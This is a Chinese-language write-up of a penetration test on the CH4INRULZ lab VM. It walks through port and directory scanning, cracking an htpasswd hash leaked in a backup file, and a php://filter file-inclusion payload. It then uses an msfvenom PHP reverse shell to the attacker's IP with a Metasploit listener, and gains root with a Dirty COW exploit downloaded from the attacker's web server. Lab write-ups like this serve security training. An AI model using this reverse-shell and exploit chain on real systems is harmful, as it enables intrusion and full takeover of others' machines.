0x00背景

跟上次打的靶机Typhoon一样,都在微信公众号上面看到师傅们复现的靶机,觉得很有意思,都下载来玩玩儿。

下载地址:CH4INRULZ官网

上次的Typhoon主要利用kali机的nmap以及MSF的各个功能扫描出主机的各个端口漏洞后逐个利用,更多的是一种系统的漏洞。而个人更多偏向于Web方面的渗透测试,因而也是这次打这个靶机主要原因。

打开靶机后,直接打开kali.

0x01发现靶机IP

使用arp-scan -l扫描存活主机,这里扫描其实是内网扫描IP,由于都是本地搭建所以通过这种方式看一下靶机的IP,一般靶机无法使用ifconfig直接查看到IP.

真实渗透情况下,需要收集更多的信息以探寻到其真实IP。例如从旁站,子域名,接收邮箱的头部,nslookup,多地ping等方式查看其真实IP。

废话不多说直接开始,上nmap:

IP

其中我kali的ip是.152所以靶机的IP肯定是.154了

继续使用nmap探测其开放端口:

p

可以看到ssh端口开放以及开放了两个web服务端口。

由此也可看出探寻目标的真实IP的重要性,可以使用nmap很快的找到其开放应用并进行渗透测试。

0x02开始web渗透

我们先访问下80端口:

80

进入到网页后第一步做的依然是信息收集,先扫一波目录吧。

这里由于只有这一个IP以及两个端口开放Web应用所以不存在子域名信息收集等。

上dirmap:

OK很好。。我想要扫出来的都没有,换dirsearch.

字典可以更新哈了,感觉dirmap好多都没有。

无语了。。dirsearch扫描也没有,直接加一个devlopment目录进去再扫描。

这真的很尴尬,我自己手动添加了(index.html.bak和development)之后再扫描

dirsearch

好了这下来访问development目录

不过从这上面也可以看到状态码是401,也就是不被允许访问的资源,难怪给dirmap字典加了还是扫描不出。

dev

呃。弱密码尝试一通没用,我们还是看看index.html.bak里面放的什么。


<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>

里面放的index.html的备份,注释部分可以看到像密码的东西,中间还有个很关键的.htpasswd.

这个跟.htaccess肯定是有关系的,应该是类似的东西。百度走一波。

可以知道的是这两个文件都是apache下独有的。然后.htpasswd是用来建立和更新存储用户名,密码的文本文件,用于对http用户的basic认证。

这里应该development下的认证就需要这个密码。

但其间肯定是采用了什么加密方式需要尝试解密。

找到一个在线网站,有很多加密方式什么SHA-1。。。。。。

加密就不管了,百度了一下可以直接用john爆破。

先将:frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0

存入1.txt.然后直接john 1.txt

1

这下可以看到获取到了frank/frank!!!

回到development进行登录。

login-success

什么都没有,但应该有一个上传的功能点。试试development/uploader

upload

因为是apache服务器,试试能不能上传.htaccess文件。

File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.

好的。突然没得办法了。这极有可能就是白名单。继续尝试.user.ini

可以确定是白名单了,这里就已经走不通了。试试其他地方的功能点吧。

由于80端口上除了development下有个上传,其他都是静态内容,没搞头,所以换8081端口试试。

进去后只有几个英文字母development Server!

试试扫目录。

发现了/api目录访问:

aoi

ok继续访问这下面的几个php文件。

访问了一下只有files_api.php存在。

进去后出现如下提示:

No parameter called file passed to me

* Note : this API don't use json , so send the file name in raw format

可以看到需要访问一个file参数。

这样就很明显了,file应该可以访问到上传的jpg。然后极有可能网站后台代码:

require($_GET['file']);

因而我们先在80端口developmet/uploader上传一个图片马

然后包含即可getshell.

但是上传了的话没有发现上传目录所以也无法包含,因而需要先使用这个包含漏洞探寻到上传文件的存放路径。

几番测试后发现post传入可以直接访问到文件例如post一个file=/etc/passwd

使用如下payload:

file=php://filter/read=convert.base64-encode/resource=/var/www/development/uploader/upload.php

然后用post传入就发现了upload.php的内容。

将base64解码后得到

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

$target_dir = “FRANKuploads/“;

可以看到上传路径是这个

0x03Web-getshell

jpg

可以看到我们的图片马的路径了,因而去8081下面用file包含file=/var/www/development/uploader//FRANKuploads/1.jpg

这里就很尴尬了,由于不是一直包含这个jpg导致连接不上。

需要换个马看样子。

因而上msf生成一个反弹shell的php马,然后getshell后在进行其他操作。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.23.152  LPORT=8888 -f raw -o 1.php

然后启动监听

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.23.152
lhost => 192.168.23.152
msf5 exploit(multi/handler) > set lport  8888
lport => 8888
msf5 exploit(multi/handler) > run

可以看到采用的是反向连接-reverse_tcp

meter

然后再重复一下文件上传文件包含即可,他判断图片还判断了文件头的改成jpg吼可以加个GIF89a

0x04后渗透

接下来可以进行域信息收集了

先看一下自己的权限:

先试了系统权限的whoami,

ok,unknow command

好的权限应该只有www了。直接用shell来输入命令吧:

shell

可以看到只有www-data权限,然后ls发现下面有个files_api.php和index.html的确只有这两个能访问。

接下来直接提权:

uname -a                                                                                      
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux

可以看到内核版本是2.6.35

0x05脏牛提权

在linux kernel >=2.6.22时候可以用脏牛提权(https://github.com/FireFart/dirtycow)

dirty

然后把其中的dirty放到kali的/var/www/html目录下(使用cp dirty /var/www/html)并开启web服务,

然后回到meterpreter中在靶机上下载该文件。

wget

一开始使用wget下载权限不够不能写,因为是www权限并且目录下也没有写权限,所以换了tmp这个临时文件夹下面去成功下载。

接下来ls发现成功下载了dirty.

接下来先赋予dirty的777权限然后运行即可成功提权:

tiquan

可以看到用户名是firefart密码123456

最后直接ssh这个账户发现就是root权限,到此该靶机的渗透测试结束:

ssh

总结

这次整个靶机渗透复现还算比较顺利,其中提权这一块儿做的比较少,网上也有不同的姿势,有用python的,php的等。这个提权的话主要先看该系统的版本,然后可以使用kali自带的命令:

searchsploit 系统版本号

找到相应的提权脚本编译后让靶机下载或访问即可成功提权。大体思路都是这样。

这里刚好钻了空子可以用脏牛提权,当然需要版本号>=2.6.22。

对于web端的渗透,大体思路就是每一个功能点进行测试,当一个功能点无法利用getshell可以配合另一个功能点的漏洞进行组合拳最终getshell.

最后就是继续努力了,奥利给!

参考链接:

星盟复现靶机CH4INRULZ

博客园某大佬